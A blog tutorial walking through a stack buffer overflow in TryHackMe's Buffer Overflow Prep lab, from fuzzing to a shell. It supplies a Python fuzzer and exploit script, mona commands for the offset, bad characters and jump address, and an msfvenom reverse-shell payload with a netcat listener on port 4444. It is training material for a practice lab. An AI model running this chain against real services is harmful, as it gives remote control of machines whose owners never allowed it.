Arty06's Website

sudo apt install Arty06

Home About Me Blog Writeups Projects Cheat-Sheet Useful Files

A “buffer overflow” is like overfilling a glass of water: too much data poured into limited memory overflows, causing errors or exploitable security flaws.

Prerequisites

Immunity Debugger (Victim Machine)

Immunity Debugger is software used to analyze what is happening in the system when performing a buffer overflow attack.

Vulnerable App (Victim Machine)

The vulnerable app could be a .exe, which we will exploit using the buffer overflow attack.

Attacker Machine

A machine from which you are going to perform the attack.

Connection

First and foremost, we need to connect to our target/victim machine. In my case, I’m working with the TryHackMe BufferOverflow prep room, so to connect, we have to start Immunity Debugger and launch the vulnerable app via: File > Open > vulnerable_app.exe. It should look like this:

1

Next, we need to start the app, either by:

Normally, the rectangle at the bottom right should now show Running

Pasted image 20230731120338

In my case, the app is running on <ip> 1337, and to connect, I need to establish a connection using netcat from my attacker machine:

Pasted image 20230731120502

My connection is all set up, let’s get to hacking now!!!

Mona Config

Mona is a built-in plugin in Immunity Debugger which helps us find results/go faster in our exploitation. You can interact with Mona at the bottom, there is an input; Mona commands start with !mona <command>

Pasted image 20230731120951

To make it easier, we’re going to configure a working folder with Mona, you can do this by entering the command:

!mona config -set workingfolder c:\mona\%p

Fuzzing

The next part is called fuzzing, it’s a software testing technique that involves injecting random or malformed input data to detect bugs, crashes, or security vulnerabilities. In our case, we’re going to send packets of 100 bytes, and see at which range the app crashes. On your attacker machine, you can create a script fuzzer.py and paste the following code:

#!/usr/bin/env python3  
  
import socket, time, sys  
  
ip = "YOUR MACHINE IP"  
port = PORT  
timeout = 5  
prefix = "OVERFLOW1 " # In my case,its OVERFLOW1 (because its a tryhackme room)  
string = prefix + "A" * 100  
  
while True:  
  try:  
    with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:  
      s.settimeout(timeout)  
      s.connect((ip, port))  
      s.recv(1024)  
      print("Fuzzing with {} bytes".format(len(string) - len(prefix)))  
      s.send(bytes(string, "latin-1"))  
      s.recv(1024)  
  except:  
    print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))  
    sys.exit(0)  
  string += 100 * "A"  
  time.sleep(1)

(Or you can download the file directly from here:

https://artyeth06.github.io/useful-files/fuzzer.py) Make sure to replace with your own information.

You can now start the script!

Pasted image 20230731122028 Take a note of the range where the app crashes!

In my example, the app crashed at 2000 bytes.

Cyclic Pattern

Now that we have the range, we need to generate a cyclic pattern. Here’s a definition from Google:

A cyclic pattern, also known as a De Bruijn sequence, is a sequence of characters that is generated in such a way that every possible combination of a certain length of characters appears exactly once. It’s frequently used in software testing and debugging, specifically in buffer overflow exploitation.

In other words, it will help us to determine the offset of the vulnerable app. To generate a cyclic pattern for our vulnerable app, we can use the following command:

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l <APP CRASHED BYTES> + 400

It will generate a list of characters which should look like this:

Pasted image 20230731122607

Offset

Now that we generated our cyclic pattern,we need to find the offset (wich will help us to control the vulnerable app). To do so,we can create a exploit.py script:

import socket  
  
ip = "YOUR MACHINE IP"  
port = PORT
  
prefix = "OVERFLOW1 " #Again this is in my case  
offset = 0  
overflow = "A" * offset  
retn = ""  
padding = ""  
payload = "Paste the cyclic pattern that we generated"  
postfix = ""  
  
buffer = prefix + overflow + retn + padding + payload + postfix  
  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
  
try:  
  s.connect((ip, port))  
  print("Sending evil buffer...")  
  s.send(bytes(buffer + "\r\n", "latin-1"))  
  print("Done!")  
except:  
  print("Could not connect.")

(Or you can directly dowload it from this link: https://artyeth06.github.io/useful-files/exploit.py) We can now run this script (with the vulnerable app running)

Pasted image 20230731123138

You will see that the app crashes, which is normal: Pasted image 20230731123158

Now, the final step to find the offset of the vulnerable app is to use this command:

!mona findmsp -distance <crashed_at + 400>

And then, you will normally see a line that looks like this:

EIP contains normal pattern : ... (offset XXXX)

In my case:

Pasted image 20230731123637

Now, to verify that we have the correct offset, we can modify the exploit.py script with the following changes:

Restart the vulnerable app and launch your exploit.py script.

Pasted image 20230731124203 The program has crashed (again…). We are looking for the EIP register value to be 42424242. But why is that?

In ASCII, the representation of B is 42 (So, B is the answer to everything?)

We have now confirmed that we have the correct offset!

Finding Bad Characters

Setting up Mona

The next step is to find what we call bad characters (characters that are considered harmful to the program, and thus, if our payload contains these characters the program will fail to execute)

We will need the help of Mona to create a file called bytearray.bin which is the file that contains the bad characters.

By default, \x00 is the first bad character.

To create the file we can use the following command (restart the app before doing it):

!mona bytearray -b "\x00"

List of Bad Characters

We have to create a list of bad characters (from \x01 to \xff). We can create a badchar.py script:

python

for x in range(1, 256): print("\\x" + "{:02x}".format(x), end='') print()

(Or you can download it from this link:

https://artyeth06.github.io/useful-files/badchar.py) Run the script to generate the list of bad chars:

Pasted image 20230731125006

Put this list in the payload variable.

Exploit

Re-run the exploit.py script, and note the ESP register value.

Pasted image 20230731125223

Finding Bad Characters

Now, to find bad characters, we have to use the following command with Mona once again:

!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP register value>

Pasted image 20230731125618

We now have the list of possible bad characters!

Removing Bad Characters

To remove the bad characters, you have to follow these steps:

  1. Restart the Vulnerable App
  2. Add the “next bad characters” in the bytearrayfile

!mona bytearray -b "\x00\xXX"

  1. Remove the bad characters from the payload list
  2. Re-run the exploit
  3. Note the ESP address
  4. Compare with Mona

!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP register value>

  1. Repeat all these steps until you get a message that you removed all the bad chars:
  2. Pasted image 20230731130226

Finding the Jump Point

A “jump point” refers to a specific location in memory that an attacker aims to overwrite with a new address to divert the program’s execution flow. When a buffer overflow occurs, excessive data can overflow the buffer, and overwrite adjacent memory locations, including important pointers and return addresses.

To find the jump point, you can use the following command:

!mona jmp -r esp -cpb “Bad_char_list”

Pasted image 20230731130830

In my case 0x625011af. We now have to convert the string to Little Endian format (to be able to use it in our script)

Here is a script to convert to Little Endian Format

import sys

def hex_to_little_endian(hex_string):
    # Supprime le préfixe "0x" de la chaîne hexadécimale si présent
    hex_string = hex_string.replace("0x", "")

    # Vérifie que la longueur de la chaîne est paire (nombre pair d'octets)
    if len(hex_string) % 2 != 0:
        raise ValueError("Invalid hex string. The length must be even.")

    # Convertit la chaîne hexadécimale en une séquence d'octets
    byte_sequence = bytes.fromhex(hex_string)

    # Inverse la séquence d'octets pour obtenir le format Little Endian
    little_endian_bytes = byte_sequence[::-1]

    # Formatte la séquence d'octets avec "\x" tous les deux caractères
    formatted_bytes = b"".join([b"\\x" + format(byte, "02x").encode() for byte in little_endian_bytes])

    return formatted_bytes

if __name__ == "__main__":
    # Vérifie si l'option -s et la chaîne hexadécimale sont spécifiées en ligne de commande
    if len(sys.argv) != 3 or sys.argv[1] != "-s":
        print("Usage: python script.py -s <hex_string>")
        sys.exit(1)

    # Récupère la chaîne hexadécimale passée en argument
    hex_string = sys.argv[2]

    try:
        # Appelle la fonction de conversion et affiche le résultat
        little_endian_result = hex_to_little_endian(hex_string)
        print("Input Hex String:", hex_string)
        print("Little Endian Bytes:", little_endian_result.decode())
    except ValueError as e:
        print("Error:", e)

(Or, you can directly download the script from this link: https://artyeth06.github.io/useful-files/little_endian.py)

0x625011af corresponds to \xaf\x11\x50\x62 in Little Endian Format

Generating Payload

We now have to generate a final payload to take over the victim machine. We are going to use msfvenom to create this payload:

(Make sure that msfvenom is installed on your machine)

msfvenom -p windows/shell_reverse_tcp LHOST=<Kali VPN IP> LPORT=4444 EXITFUNC=thread -b “LITTLE_ENDIAN_STRING” -f c

We now have to modify our exploit.py script:

Get the Reverse Shell

We now just need to listen on port 4444 (the port we set in msfvenom), with netcat:

nc -lvnp 4444

And the last thing: run the exploit.py script. And now we got a Reverse Shell!

Credits

TryHackMe for some inspiration and for the Buffer Overflow prep room. vinayakagrawal95 for his Medium post which helped me get through the first box and for some inspiration about the cheat sheet.